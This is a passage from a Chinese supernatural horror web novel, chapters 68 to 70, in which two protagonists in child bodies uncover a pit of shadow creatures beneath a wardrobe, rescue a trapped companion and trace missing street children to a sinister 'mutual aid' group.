墙顶那些倒插的玻璃瓶碎片,在黯淡的夜色下,依旧闪烁着森然的冷光,像一排排择人而噬的獠牙。 他安静地等待着。 时间一分一秒地过去。 就在客厅那座老式挂钟,第九声沉闷的钟声刚刚落下之际—— “沙沙——” 一阵轻微的,几乎与夜风融为一体的摩擦声,从院墙外侧传了过来。 宿珩的目光瞬间锁定在那声音传来的方向。 紧接着,一道异常矫健的身影,如猫一般,悄无声息地攀上了高高的院墙。 那身影在墙顶停顿了片刻,似乎在寻找最佳的落脚点。 他所立足的地方十分巧妙,恰好避开了那些锋利的玻璃碎片。 得亏此刻也是孩童的身体,体重极轻,才没有惊动那些脆弱的碎片。 下一秒,那道身影猛地一跃,直接从三米多高的院墙上翻身跳了下来,稳稳地落在了院内的草地上,几乎没有发出任何声响。 昏暗的路灯,照亮了来人的脸。 那是一张同样稚嫩的孩童面孔,脸上还带着几道未干的泥痕,但那双深邃的眼瞳里,却闪烁着与年龄不符的沉稳。 是肖靳言。 看到他那张虽显稚气,但依旧熟悉的脸,宿珩没来由地,心中微微一松。 他轻轻颔首,刚想开口说“跟我来”—— 一只带着薄茧的手,忽然伸了过来,轻轻捏了捏他的脸颊。 “唔?” 宿珩猝不及防。 肖靳言咧嘴一笑,露出一口小白牙,眼底带着几分戏谑, “宿珩,你小时候原来这么可爱的吗?脸还挺软。” 宿珩:“……” 他略感无语,甚至有些想翻白眼的冲动。 但是,成年的他尚且打不过肖靳言,更何况现在这具只有七八岁的孩童身体。 他只能僵着脸,任由肖靳言带着几分新奇,又带着几分恶趣味地在他脸颊上揉了两把。 等肖靳言终于松开手时,宿珩白净的脸颊上,不仅多了一层薄薄的灰,还被捏出了一片浅浅的薄红。 宿珩缓缓深吸口森*晚*整*理气,“别闹了,还有事要做。” 肖靳言耸了耸肩,脸上却依然挂着笑。 他垂在腰侧的手指无意识地摩挲了两下,似是仍在回味那柔软的触感。 第68章 第 68 章 失落的小孩9 宿珩面无表情地抬手, 用手背蹭了蹭被肖靳言捏过的地方,留下一点淡淡的灰印。 “跟我来。” 他压低声音,没有再理会肖靳言的调笑, 转身便朝着楼内走去。 肖靳言眼底的笑意未减半分,跟在他身后,一同走进了那栋在夜色中显得格外阴沉的小楼。 宿珩将厚重的木门重新关好。 昏暗的客厅里, 两人言简意赅地互换了这两天各自探查到的线索。 肖靳言将自己在刘芳家的发现,以及对那些邪异符咒和仪式的猜测简略地说了一遍。 当听到萧红的脸已经变得与刘芳女儿有七分相似时,宿珩垂下的眼睫细微地颤动了一下, 眉心微凝。 “我这边……” 宿珩顿了顿, 组织了一下语言, “最大的疑点,在那间主卧的衣柜里。” 肖靳言的目光落向客厅右手边那扇紧闭的房门, 点了点头。 两人不再多言。 宿珩在前带路,径直来到主卧室门前。 肖靳言从口袋里摸出那根熟悉的细铁丝,三两下便撬开了老旧的门锁。 推开门,一股比宿珩上午闻到的, 更加浓郁的泥腥味扑面而来。 宿珩皱着眉, 没有停顿, 走到房间那扇巨大的深色衣柜前, 伸手拉开了厚重的柜门。 他身形灵巧地钻了进去,熟门熟路地掀开角落里那条颜色暗沉的旧被子, 露出下面的木质底板和那个冰冷的金属锁扣。 宿珩伸出小小的手指,用力一扳。 锁扣应声而开后, 他双手抵住那块活动的木质底板,用力向旁边一推。 “吱呀——” 随着一声沉闷的摩擦声,衣柜的底板被推开了一个黑漆漆的洞口。 那股浓郁得几乎令人窒息的泥腥味与腐臭, 正从这洞口下方汹涌而出。 宿珩皱了皱鼻子,屏住呼吸,低头朝下方望去。 可惜里面太过幽暗。 即便是他,也只能勉强辨认出那是一个深不见底的坑洞,根本看不清下面的具体景象。 这时,肖靳言也弯腰钻进了衣柜。 衣柜的空间就算再宽敞,此刻挤进两个半大的孩子,仍不可避免显得逼仄。 宿珩感觉到肖靳言温热的身体紧紧贴着自己的后背。 那陌生又带着些微压迫感的体温,让他下意识地动了动,试图挪开少许。 “我来。” 肖靳言的声音在耳边响起。 宿珩知道他的夜视能力远胜于自己,便不再坚持,向后稍稍退开,将洞口的位置让了出来。 肖靳言俯下身,目光如炬,仔细地凝视着那片深不见底的黑暗。 片刻之后。 肖靳言的声音再次响起,在狭小的空间内显得格外沉闷而凝重。 “下面像是个挖出来的土坑,很深,目测至少有七八米……角落里有几件破损的衣物,还有干涸的血迹。” 宿珩静静地听着,心却一点点沉了下去。 “坑壁上……” 肖靳言的声音忽然顿住,语气里带上了一丝冷冽。 “跟刘芳家一样,同样刻着那种邪门的符咒。” 那扭曲的图案,在肖靳言眼中即便模糊,也透着一股令人心悸的邪恶气息。 他正要向宿珩描述那些符咒的细节,就在此时—— 宿珩的耳朵忽然极轻微地动了一下。 院门外,那扇沉重的铁门,再次响起了熟悉的铁链声。 “他们回来了!” 宿珩脸色微变,立刻压低声音提醒道。 肖靳言几乎是瞬间反应过来。 他没有半分犹豫,只对宿珩沉声道:“你先上去,把这里恢复原样!” 话音未落,他已调整好姿势,对着那深不见底的洞口,毫不犹豫地纵身一跃。 小小的身影,如同投入深渊的石子,瞬间便消失在了浓稠的黑暗之中。 宿珩对肖靳言的能力有着绝对的信任。 他没有丝毫迟疑,立刻俯下身,迅速将那块活动的底板拉回原位,重新扣好冰冷的金属锁扣,再将被子仔细盖好,抚平褶皱。 做完这一切,他飞快地从衣柜里退了出来,关上柜门,又悄无声息地退出了主卧。 他竭力控制着呼吸与脚步,以这具孩童身体所能达到的最快速度,却又不发出半点声响地冲回二楼儿童房,反手将房门利落锁好。 几乎就在他刚刚滑入被窝,拿起那本摊开的故事书的瞬间—— 楼下,传来了开门进屋的声音。 不过回来的只有王彦宏一人,他的脚步声,沉重而缓慢。 这一次,他没有像往常那样直接上楼,而是径直走到了楼梯口那个半人高的杂物柜前。 他伸出手,指尖在那银色手电筒的玻璃镜面上轻轻摸了一把。 镜面冰冷如初。 王彦宏紧绷的脸色,这才几不可察地松缓了半分。 他不再停留,转身迈步走上楼梯,脚步声最终停在了儿童房门前。 钥匙插入锁孔,转动,房门被推开。 房间内,灯光柔和。 墙角处,那座用积木搭建的城堡,已经彻底完工,看起来精致而漂亮。 宿珩正侧躺在床上,身上盖着薄被,手里捧着一本彩色的精装故事书,似乎正看得入神。 王彦宏站在门口,目光在房间内扫视了一圈,最后落在宿珩身上。 “时间不早了,小远,你该睡觉了。” 他的声音带着几分沙哑,但语气却比之前缓和了不少。 宿珩像是刚从故事中回过神,抬起头,看向王彦宏,乖巧地应了一声。 他将手中的故事书轻轻放到床头柜上,拉了拉被子,闭上眼睛,轻声说了一句:“好的,爸爸晚安。” 王彦宏仍站在原地,静静地看着他。 许久后。 宿珩才听到他离开的脚步声,和熟悉的门被反锁的声音。 …… 与此同时,桥洞外不远的地方。 夜风带着寒意,吹得旁边的梧桐树叶哗哗作响。 一个高瘦的“孩子”正缩着脖子,鬼鬼祟祟地站在角落里解手,一双眼睛却警惕地四下扫视,生怕从哪个黑暗的角落里突然窜出什么东西,把他像之前那些人一样掳走。 冷不防,他眼角的余光瞥见不远处,一个模糊的人影静静地立在那里。 那高瘦孩子吓得一个激灵,差点叫出声来,身体瞬间僵住。 “谁?” 他压低声音,带着一丝颤抖。 那人影没有回答,只是缓缓抬起手,对他比了一个“嘘”的手势,然后迈开脚步,不紧不慢地走了过来。 借着远处昏黄的路灯,高瘦孩子终于看清了来人,心中不由一松。 他压低声音,不由有些纳闷:“怎么是你?你去哪了?我还以为你……” 人影走到他面前,从口袋里摸出一块用锡纸包着的巧克力,递了过去。 高瘦孩子看着那块巧克力,眼睛都直了,下意识地咽了口唾沫,连忙撕开包装塞进了嘴里。 浓郁的甜味在舌尖化开,果然是熟悉的巧克力的味道。 “我太饿了,去找吃的了,我知道哪里有吃的。” 人影看着他狼吞虎咽地吃完,声音很轻,“我可以带你去。” 高瘦孩子的心猛地一跳,他下意识地回头望了一眼,不远处黑漆漆的桥洞。 肚子里被巧克力的香甜勾起的饥饿感,如同小虫般啃噬着他的理智。 “咕噜——” 他的肚子不争气地发出了一声清晰的声响。 “真……真的吗?” 他有点犹豫,咽了咽喉咙,声音显得沙哑。 人影不置可否地“嗯”了一声,那双在夜色中显得过分明亮的眼睛,带着一丝莫名的意味看着他。 “你想吃吗,我只告诉了你,你要吃的话,就跟我来。” 说完,人影便转过身,小小的身影率先融入了前方更加浓稠的黑暗之中。 高瘦孩子站在原地,脸上写满了纠结与挣扎。 桥洞里的日子又冷又饿,每天都提心吊胆,不知道下一个失踪的会不会是自己。 而眼前的人影,他手里的巧克力,和那句“有吃的”,却像带着致命的诱惑。 最终,对食物的渴望战胜了恐惧。 他咬了咬牙,不再犹豫,连忙迈开脚步,踉踉跄跄地追了上去。 人影带着他,七拐八拐地穿梭在错综复杂的小巷里。 那些贴满了寻人启事的墙壁,在夜色中如同沉默的巨兽,静静地注视着他们。 不知过了多久,人影在一栋看起来比周围民房更低矮破旧的平房前,停下了脚步。 门外,正焦急地站着两道身影。 看到人影终于带着人过来,其中一个女人立刻迎了上来,正是迟迟都没回家的陶玉芝。 “老李,人到了。” 陶玉芝的声音里带着一丝显而易见的急切。 她身旁,一个身材中等的中年男人,此刻同样显得有几分激动,目光死死地盯着那个高瘦孩子。 他几乎是迫不及待地冲了上去,一把抱住了那个还有些茫然的高瘦孩子。 “小伟!我的小伟!” 男人声音哽咽,手臂勒得高瘦孩子生疼。 高瘦孩子被这突如其来的拥抱吓了一跳,他拼命挣扎着,急忙喊道:“你……你放开我,我不是什么小伟,你认错人了!” 然而,下一秒,他浑身猛地一僵。 他看到那个抱着他的男人,慢慢抬起脸。 昏暗中,那双幽森而可怖的目光死死地盯着他,那眼神像是要将他生吞活剥一般。 男人咬牙切齿地说道:“不,你就是小伟!你就是我的小伟!” 高瘦孩子彻底慌了,一股寒意从脚底板直冲天灵盖。 他想跑,用尽全身力气想要推开这个疯子。 但就在此时,他的后颈忽然传来一阵剧痛。 “呃——” 高瘦孩子闷哼一声,只觉得眼前一黑,身体便软绵绵地倒了下去,落入那个男人带着狂喜的怀抱。 陶玉芝看着那个小小的身影若无其事地收回手。 人影随意地擦了擦手,仿佛只是拍掉了一点灰尘。 “交易完成。” 人影抬起头,眨巴了下眼睛,看向陶玉芝,眉眼弯弯地在笑,但语气却冷漠得近乎没有丝毫感情。 “请记得支付报酬。” 陶玉芝对上人影那双过分冷静的眼睛,心中没来由地升起一丝忌惮与畏惧。 她强自镇定地点了点头:“知道了。” 人影这才满意地勾了勾唇角,转身慢悠悠地踱着步子,消失在小巷的阴影之中。 男人急忙把高瘦孩子抱进屋子,连他的鞋子丢了一只也不顾了,同时不忘对陶玉芝真诚道谢:“谢谢你了玉芝。” 陶玉芝勉强笑了笑,只是那笑容显得有几分苍白。 “不用谢的,这才是互助会,成立的初衷啊。” …… 另一边,主卧衣柜下的深坑之中。 肖靳言稳稳落地,脚下是松软湿滑的泥土。 他迅速适应了周围的黑暗,这才发现,这个地下坑洞的空间,比他从上面观察到的要大得多,像一个不规则的巨大地穴。 坑壁上湿漉漉的,随处可见那种扭曲而邪异的符咒图案,在黑暗中仿佛活物般微微蠕动,散发着令人不安的气息。 空气中弥漫着浓郁的泥腥味和若有似无的腐臭,让肖靳言不由皱紧了眉头。 摸索着前进了一阵,在他前方,蓦地出现了几条深浅不一的岔路,通向未知的黑暗。 就在肖靳言略微迟疑,判断着该从哪条路开始探查时—— “嗖——” 一道扭曲的黑影,带着一股阴冷的风,从他身旁飞快地掠过。 那黑影速度极快,形态不定,像一团被拉长的墨迹。 “我是小远……我才是小远……” 那黑影口中,不断发出含混不清,却又尖利刺耳的嘶喊,声音变了调,如同鬼魅的呓语。 肖靳言眼神一凛。 几乎是本能反应,他手腕一翻,一柄闪烁着寒光的黑色短刀悄然从袖中滑出,被他紧紧握在掌心。 那道黑影没有丝毫停顿,一头扎进了右手边那条最深的岔路之中,嘶喊声在狭窄的通道内回荡。 肖靳言没有犹豫,立刻迈开脚步,如猎豹般悄无声息地追了上去。 岔路幽深曲折,脚下的泥土也越来越湿滑泥泞。 他一路紧追不舍,很快便追到了一处相对宽敞的圆形土坑。 这里似乎是几条岔路的交汇点。 然而,眼前的一幕,却让肖靳言的脸色骤然一变。 只见前方,盘踞着的,并非只有他先前追逐的那一道黑影。 头顶潮湿的坑壁上,四周凹凸不平的土墙缝隙间,至少还有四五条同样的扭曲黑影,正如同附骨之疽般,死死地攀附在那里。 它们形态各异,有的瘦小,有的略微臃肿,但无一例外都散发着浓烈的怨气。 一双不似人类的猩红眼睛,在黑暗中闪烁着幽幽的光芒,齐齐地盯向了闯入此地的肖靳言。 “我是小远……我才是小远……” “我是小远……” “小远……小远……” 此起彼伏的嘶喊声交织在一起,尖锐,凄厉,带着无尽的困惑与痛苦,仿佛要将人的耳膜刺穿。 像是无数冤魂在耳边凄厉地哭嚎。 肖靳言握紧了手中的短刀,眸色沉沉。 “啧……这么多‘小远’,还真是热闹啊。” 第69章 第 69 章 失落的小孩10 肖靳言眼神一凛, 周身的气息陡然变得锋利起来。 那双黑沉的眼眸中,不起波澜,反而闪过一抹冰冷的杀意。 “原来是一群失败的产物。” 他声音不大, 却带着一种不容置喙的威慑。 几乎就在他话音落下的瞬间。 那些攀附在坑壁上的扭曲黑影,仿佛受到了某种刺激,发出一声更加尖锐刺耳的嘶鸣, 猛地从四面八方朝着肖靳言扑了过来。 “我是……小远!” “我才是小远!” 阴风呼啸,带着浓烈的怨气,如同无数冰冷的触手, 试图将他撕碎。 肖靳言唇角那抹冷弧愈深。 他脚下微微一错, 腰身一折, 身体以一个常人难以做到的角度向后倾倒,险之又险地避开了最先袭来的那道黑影。 与此同时, 他紧握在右手的黑色短刀,在昏暗中划过一道森然的乌光。 “嗤——” 短刀破空,发出一声类似布帛被利刃划开的轻响。 刀锋所过之处,空气似乎都被割裂开一道细微的涟漪。 最先扑到近前的一道黑影, 甚至来不及发出一声完整的惨叫, 便被那道乌光干净利落地从中劈开。 黑影如同被投入烈火的浓墨, 发出“滋滋”的轻响, 转瞬便化作一缕青烟,消散在污浊的空气里。 在那些扭曲黑影惊惧的注视下, 那个原本看起来瘦弱不堪的孩童,此刻周身仿佛笼罩着一层无形的煞气。 他手中的短刀, 每一次挥出,都带着一股无可匹敌的凌厉与决绝。 那流畅而致命的招式,根本不似孩童所能拥有, 倒像是从尸山血海中千锤百炼出的杀戮本能。 “砰!” 肖靳言左手手肘猛地向后一顶,精准地击中了一道从背后偷袭而来的黑影。 那黑影发出一声闷响,如同被重锤击中,整个扭曲的形态都为之一滞。 不等它有任何挣扎,肖靳言手腕灵巧翻转,短刀自下而上,划出一道冰冷决绝的弧线。 又是一声利落的切割声。 黑影应声而断,连同它身上散发出的浓重怨气,一同被斩碎,化为虚无。 不过片刻功夫,原本还气势汹汹的几道黑影,便已经被肖靳言干净利落地解决了大半。 剩下的两三道黑影,似乎终于意识到眼前这个“孩子”的恐怖,它们发出的嘶喊声中,带上了一丝难以掩饰的恐惧与退缩。 它们不再像先前那般悍不畏死地扑上来,而是开始在土坑周围游移,猩红的眼珠闪烁着,像是在寻找肖靳言的破绽。 或者说,是寻找逃跑的机会。 肖靳言鼻腔里发出一声极轻的冷哼,眼底的寒意几乎要凝成实质。 他脚尖在湿滑的泥地上一蹬,整个身体如离弦之箭般,不退反进,主动朝着其中一道试图遁入坑壁裂缝的黑影疾冲而去。 那黑影见状,发出一声惊恐的尖叫,扭头便想逃。 但肖靳言的速度更快。 短刀在他手中灵活得像一道黑色的闪电,后发先至,精准地刺入了那黑影的后心。 “噗嗤——” 如同尖针刺破水袋的声音,又像是某种充气之物被瞬间放空。 黑影剧烈地扭曲挣扎了几下,发出最后一声不甘的尖啸,最终还是不甘地消散了。 解决掉最后一道黑影,肖靳言甩了甩短刀上并不存在的血迹,将其重新收回袖中。 整个土坑内,再次恢复了死一般的寂静,只剩下空气中尚未完全散去的腐臭和泥腥味。 他环顾四周,确认没有其他威胁后,这才微微松了口气。 就在这时—— 土坑最深处,一个几乎被阴影完全吞噬的狭窄缝隙里,突然传来一个细若游丝的声音。 那声音中带着几分不确定和惊喜,还有因为长时间缺水导致的沙哑。 “老……老大?” 肖靳言目光一凝,猛地转头望向那声音传来的方向。 只见那道漆黑的缝隙中,一道瘦小的身影正扶着潮湿的土壁,踉踉跄跄地走了出来。 他手里打亮了一个光线微弱的小型手电筒。 因为久处黑暗,他似乎很不适应手电筒折射出的那点微光,下意识地眯起了眼。 但肖靳言却一眼认出了他。 “闫知许?” 此时的闫知许身上穿着一件破旧不堪的背带裤,上面沾满了泥污和不知名的污渍,头发乱糟糟的,像个鸟窝。 一张小脸更是脏得看不出本来面目,只有一双眼睛,在看到肖靳言后,骤然亮起了难以置信的光芒。 “老大!真的是你!” 那人影带着哭腔,几乎是连滚带爬地冲了过来。 肖靳言看着眼前这个狼狈不堪,瘦得几乎脱了形的小孩,松了口气的同时,眉头微微挑了挑。 “呜呜呜……老大,我可算等到你了!” 闫知许一把抱住了肖靳言的小腿,嚎啕大哭起来,眼泪鼻涕糊了一脸。 肖靳言低头看着这个比自己现在这具身体还要矮上几分的小可怜,嘴角不由抽了抽。 他试图挪开腿,但闫知许抱得死紧。 他伸出手,有些嫌弃地拍了拍闫知许的脑袋:“行了,哭什么,先起来说话。” 闫知许抽噎着,好不容易才止住了哭声,但依旧紧紧抓着肖靳言的裤腿不放,生怕他跑了似的。 “老大,你怎么来了?” 闫知许吸了吸鼻子,仰着脏兮兮的小脸,两眼还泛着晶莹的泪光。 肖靳言没有回答他这个问题,而是沉声问道:“你怎么会躲在这地方,这几天都发生了什么?” 提到这几天的遭遇,闫知许脸上刚刚升起的一点喜色瞬间垮了下去,又是一副泫然欲泣的模样。 “老大,我太惨了!” 闫知许开始断断续续地讲述自己的经历。 “那天……我和袁广他们还在桥洞待着,我好像听见有人在喊救命,声音特别小,我就追出去了。” “结果,追到一个巷子里,就看到一对中年夫妻,他们一看到我,就冲过来说我是什么‘小远’,还说终于找到我了。” 闫知许委屈巴巴地继续说道:“我跟他们解释我不是,他们根本不听,还……还把我打晕了,锁在一个小黑屋里。” “我好不容易才找到机会跑出来,结果刚想办法跑出院子,又被他们发现了。” “他们抓住我,就说我……不是一个听话的‘小远’,然后就把我……丢到这个鬼地方来了!” 闫知许越说越心惊。 肖靳言静静地听着,眸光微沉。 闫知许的遭遇,和宿珩目前的经历有几分吻合。 那对夫妇,恐怕是在用这种方式,“筛选”他们心目中合格的“小远”。 而那些不合格的,或者试图反抗的,下场便是被丢进这个如同地狱般的深坑。 目前为止,或许只有宿珩是例外。 或者说……他的演技最好。 想到这里,肖靳言若有所思地抬起头,用手指了指上方。 “说起来也巧……”他语气平淡地开口,“上面,刚来了一个新的‘小远’。” 闫知许闻言,愣了一下,脸上的悲伤都忘了。 他顺着肖靳言手指的方向往上看了一眼,黑漆漆的什么也看不到,不由疑惑地问道:“谁?” 随即,他像是想到了什么,脑回路一转,脱口而出:“老大,你……你又带新人下副本了?” 肖靳言:“……” 他面无表情地伸出手指,在闫知许那脏兮兮的额头上不轻不重地弹了一下。 “咚”的一声。 闫知许吃痛,捂着额头,眼泪汪汪地看着肖靳言,一脸无辜。 “想什么呢?” 肖靳言没好气地说道:“那是宿珩,来救你的。” “宿珩?” 闫知许的眼睛猛地瞪大了,他甚至怀疑自己听错了,“他也来了?” 肖靳言“嗯”了一声,算是回答。 他环顾了一下这个潮湿阴暗的土坑,目光重新落回闫知许身上。 “这里有别的出口吗?” 闫知许一听这话,连忙抹了把脸,立刻指了指左前方一条更为狭窄的岔路。 “我之前被丢下来的时候,也弄死了两只那种黑乎乎的怪物,但它们数量太多了,我这小身板力气又不够,打不过,最后只能找地方躲起来。” 他吸了吸鼻子,声音还带着劫后余生的庆幸:“要不是老大你来了,我恐怕真要饿死或者被那些怪物耗死在这里了。” 肖靳言迈开脚步,朝着闫知许指的方向走去。 “继续说。” 闫知许赶紧小跑着跟上,一边走一边说:“我其实偷偷突围过两次,想找找出路。还真让我在那条路走到头的地方,发现了一扇大铁门。” 他的语气又低落下去。 “但是,每次我快要靠近那扇铁门的时候,那些怪物就会从四面八方涌出来,把我逼回来。” “它们好像……好像也不急着弄死我,就是不让我过去,像是在等待什么。” 肖靳言“啧”了声,脚步没有停顿。 “能等什么,当然是在等你变成它们的同类。” 闫知许闻言,猛地打了个寒噤,只觉得一股凉气从脚底板窜了上来,鸡皮疙瘩都起来了。 他不敢再细想,只是亦步亦趋地跟紧了肖靳言。 两人沿着那条曲折狭窄的岔路一直走到尽头。 眼前,果然出现了一扇巨大的铁门。 那铁门呈现出一种暗沉的锈红色,表面布满了斑驳的痕迹,严丝合缝地嵌入了土壁之中,仿佛与整个地下坑洞连为一体,透着一股坚不可摧的沉重感。 肖靳言伸出手,在那冰冷的铁门上摸索片刻,眉头微微蹙起。 这扇门没有明显的锁孔。 或者说—— 它的结构远比他之前遇到的任何锁都要复杂诡异,他那引以为傲的□□,在这样一扇门前,似乎失去了用武之地。 他又试着推了推,铁门纹丝不动。 以他现在这具孩童的身体,力量大打折扣,想要靠蛮力踹开,根本不可能。 “老大,现在怎么办?” 闫知许看着那扇纹丝不动的铁门,有些焦急地问道。 好不容易看到希望,可别又断了。 肖靳言抬起头,目光向上方望了一眼,那里是深不见底的黑暗,也是他们下来的入口。 宿珩还在上面。 他收回视线,语气并没有任何慌乱:“原路返回。” 闫知许愣了一下。 肖靳言没有多做解释,只是淡淡道:“等着就行。” 说完,他便率先转身,朝着来路走去。 闫知许虽然满心疑惑,但对肖靳言的信任让他没有丝毫犹豫,赶紧迈着小短腿跟了上去。 …… 天色微亮时,桥洞下。 袁广从一阵不安的浅眠中惊醒,他下意识地摸了摸身边,触手一片冰凉。 他猛地坐起身,环顾四周。 昨晚点起来的柴火已经全熄了,桥洞里冷冰冰的,透着一股死气。 但更让他胆寒的是,昨晚又不声不响少了一个人。 那个叫黄琳的高瘦小子……不见了踪影。 一种深入骨髓的寒意,让袁广的脸色瞬间变得煞白,他下意识地瑟缩了一下,抱紧了胳膊。 剩下的另外两个小孩也被惊醒了。 看到空旷的桥洞里只剩下了他们三个人,脸上都露出了难以掩饰的恐惧的神色。 “黄……黄琳呢?” “不知道啊……你看到了吗?” “我没看到他……” 两人的声音都在发抖。 意识到黄琳也失踪后,三人哆哆嗦嗦地抱团在一起,再也不敢在桥洞里多待片刻。 他们漫无目的地在清晨灰蒙蒙的街道上游荡,每一步都走得小心翼翼,生怕下一个消失的就是自己。 街道两旁的梧桐树上贴满的寻人启事,此刻看来如同无数双窥视的眼睛。 他们路过一条小巷,巷口不远处是一排低矮的平房。 其中一个眼尖的小孩,忽然指着某间平房门口不远处的地面,惊呼道:“你们看!那……那是不是黄琳的鞋?” 袁广心中一紧,立刻快步冲了过去。 地上确实掉落着一只半旧的运动鞋,款式和颜色,他都认得,正是黄琳一直穿着的那只。 另一个小孩回忆道:“我记得昨晚睡觉前,黄琳两只脚上都穿着鞋的啊!” 袁广的脸色瞬间沉了下去。 他紧盯着面前那栋紧闭着房门的平房,那房门看起来比周围的都要破旧几分,门缝里黑漆漆的,什么也看不见。 袁广压低声音道:“难道……他被人绑到这里面来了?” “那……那我们怎么办?” 先前发现鞋子的小孩声音发颤地问道。 袁广咬了咬牙,眼中闪过一丝决然,但更多的是一种被逼到绝境的狠劲。 “走,过去看看,是死是活,总得弄清楚!” 另外两人虽然犹豫,但见袁广带头,他们也不敢多说什么了。 于是三人屏住呼吸,轻手轻脚地朝着那栋平房摸了过去。 只不过还没等他们靠近,平房的木门“吱呀”一声,猛地从里面被推开。 一个身材中等,面色阴沉的中年男人从屋里走了出来。 他眼窝深陷,布满血丝,看到他们三个,立刻怒目而视,眼神凶狠得像要吃人。 “你们这几个小鬼头,鬼鬼祟祟地在这里干什么?” 其中一个小孩被他凶神恶煞的样子吓了一跳,下意识地就想说:“我们来找人……” 袁广眼疾手快,一把捂住了他的嘴。 同时脸上立刻堆起讨好的笑容,对着那男人说道:“大叔,我们……我们太饿了,饿得头晕眼花的,就是想看看这里有没有什么吃的。” 他边说边可怜兮兮地揉了揉肚子。 男人狐疑地打量了他们几眼,脸上的嫌弃毫不掩饰,冷哼了一声。 但他似乎也懒得和他们多做纠缠,转身回了屋。 片刻后,又走了出来,随手从口袋里掏出三块用锡纸包着的巧克力,像打发叫花子一样,丢在了他们面前的地上。 “拿着赶紧滚,别在这里碍眼!再让我看见你们,腿给你们打断!” 袁广连忙捡起巧克力,紧紧攥在手里,拉着另外两个还有些发愣的小孩,头也不回地跑远了。 直到跑出那条小巷,其中一个小孩才喘着气问道:“袁广,我们就这么走了吗?黄琳他可能还在里面啊!” 袁广瞪了他一眼,没好气地说道:“现在冲进去送死吗?” “那……那怎么办?” 袁广将一块巧克力塞进嘴里,狠狠咬了一大口。 感受着那久违的甜味在舌尖化开,他的眼神却变得深沉起来:“等晚上再说。” “为什么等晚上?” 另一个小孩不解地问。 袁广像是看白痴一样看着他,压低声音骂道:“你猪脑子啊!忘了我们之前晚上偷偷溜去那个破教堂找吃的时候了?” “那里每天晚上不都聚着一堆人吗?” “刚才那个男人,我记得他……他也是那群人里的一个!” 袁广语气发狠:“等到他晚上去教堂了,我们再溜进去找!” 另外两人立马恍然大悟,脸上露出了几分希望,又带着几分紧张。 第70章 第 70 章 失落的小孩11 一整天, 宿珩都被反锁在儿童房内。 陶玉芝和王彦宏夫妇两人出奇地没有出门,而是一直待在家里。 宿珩坐在地毯上,面前散落着几块积木, 但他一块也没有碰。 他只是安静地听着楼下的动静,以及隔壁书房里,王彦宏时不时传来的压抑咳嗽声。 直到夜色彻底笼罩了窗外, 那对夫妻才终于有了动静。 宿珩听到他们刻意压低的交谈声。 片刻后,院门被拉开,又被轻轻关上, 这对夫妻总算离开了。 宿珩立刻从地毯上站起身, 熟练地打开反锁的门。 他没有片刻耽搁, 迅速下到一楼,径直走向那扇紧闭的主卧室房门。 故技重施, 撬开门锁,推门而入。 随即走到那扇巨大的深色衣柜前,森*晚*整*理拉开柜门,矮身钻了进去。 他掀开角落里的旧被子, 解开锁扣, 用力将底板推开, 露出那个黑漆漆的洞口。 接着从口袋里掏出几块小巧的积木, 拿起一块,对着那深不见底的洞口, 松开了手。 “噗通。” 积木落入下方,发出一声沉闷的声响, 在寂静的地下空间里回荡。 他又接连丢下了几块。 每一声闷响,都像是在试探着什么。 与此同时,衣柜下方那幽深曲折的土坑深处。 肖靳言正靠着一面相对干燥的土壁闭目养神, 闫知许则蜷缩在他身边,脑袋一点一点的,已然睡熟了过去。 “噗通。” 第一声闷响传来时,肖靳言的眼睫几不可察地动了一下。 紧接着,又是几声同样的声响,从头顶上方传来。 肖靳言睁开眼,那双在黑暗中依旧锐利如鹰的眸子,看向声音传来的方向。 他伸出手,不轻不重地拍了拍闫知许的脸颊。 “别睡了,人来了。” 闫知许迷迷糊糊地睁开眼,下意识地擦了擦嘴角,还有些没睡醒的懵懂。 他揉了揉眼睛,顺着肖靳言的视线向上望去。 只见头顶那片浓稠的黑暗中,突兀地亮起了一小块勉强能透进些微弱光线的方形区域。 肖靳言已经站起身,走到了那方格的正下方。 他抬起头,双手拢在嘴边,作喇叭状,压低声音向上喊道:“丢条绳子下来。” 宿珩听到下方传来的声音,心中顿时一定。 在这栋小楼里,想要找到合适的绳索并不容易。 他迅速在衣柜里翻找起来,很快便找到了两条看起来还算结实的旧被单。 他将两条被单撕开,打上牢固的死结,连接成一条足够长的临时“绳索”。 然后,将绳索的一端用力丢了下去,另一端则死死地系在了衣柜内部一根还算牢固的横杆上。 “好了!” 宿珩低声回应。 下方,肖靳言看着垂落下来的布条绳索,对身旁的闫知许言简意赅道:“你先上。” 闫知许点了点头,抓住那条临时制作的“绳索”,吃力地蹬在坑壁上,缓慢往上挪动。 宿珩在上方接了一把。 当看清先上来的是个瘦得像只小猴子,穿着破旧背带裤的“陌生”小孩时,宿珩不由愣了一瞬。 他很快便认出了对方。 “闫知许?” 宿珩的语气中带着一丝惊讶。 他没想到,失踪的闫知许,竟然一直被困在这衣柜下面的深坑里。 闫知许看到宿珩,也是一脸惊喜,连忙喊了声:“宿珩,真的是你!” 宿珩嗯了声,“你先出去,让肖靳言先上来。” 闫知许赶紧退出衣柜。 下方,肖靳言单手抓住绳索一端,目光向上扫了一眼。 脚尖在湿滑的坑壁上接连蹬踏了几下,借着那股向上的冲力,肖靳言手臂肌肉瞬间绷紧,整个人如同猿猴般,异常灵巧地攀了上去。 不过片刻,肖靳言便从那洞口翻了上来,稳稳地落在了衣柜之中。 他反手抽出那柄黑色短刀,毫不犹豫地割断了那条连接着下方与衣柜的被单绳索,任由其落入那深不见底的黑暗之中。 随后,他将那块活动的底板重新推回原位,扣好锁扣,盖上旧被子,仔细抚平褶皱,将一切恢复成之前的模样。 三人悄无声息地退出了主卧。 肖靳言将主卧的房门重新反锁好。 趁着王彦宏和陶玉芝还没回来的间隙。 肖靳言看向闫知许,沉声道:“你先离开这里,去找袁广他们会合。” 闫知许点了点头,虽然他很想跟在自家老大身边,但也知道现在不是拖后腿的时候。 他看了一眼院子那圈高耸的院墙。 作为清理师协会的一员,即便体能远不及肖靳言这种规格之外的存在,翻越这样一道障碍对他而言,也并非难事。 临走前,他还是忍不住问了一句:“老大,你什么时候来?” 肖靳言摇了摇头,“不急,我还有其他事要做。” 闫知许只好按捺下心中的疑惑,不再多问。 他走到院墙边,选了个相对容易攀爬的角落,手脚并用地爬了上去,灵巧地避开墙顶的玻璃碎片,很快便翻身消失在墙外沉沉的夜色之中。 等闫知许走后,宿珩将大门重新关好。 两人一前一后地走上二楼。 肖靳言先去了一趟卫生间,简单地冲洗了一下脸上的泥污和手上的尘土,露出了那张虽然稚嫩,但轮廓已初具英气的面容。 随后,他跟着宿珩回到了儿童房。 “你说的其他事,是什么?” 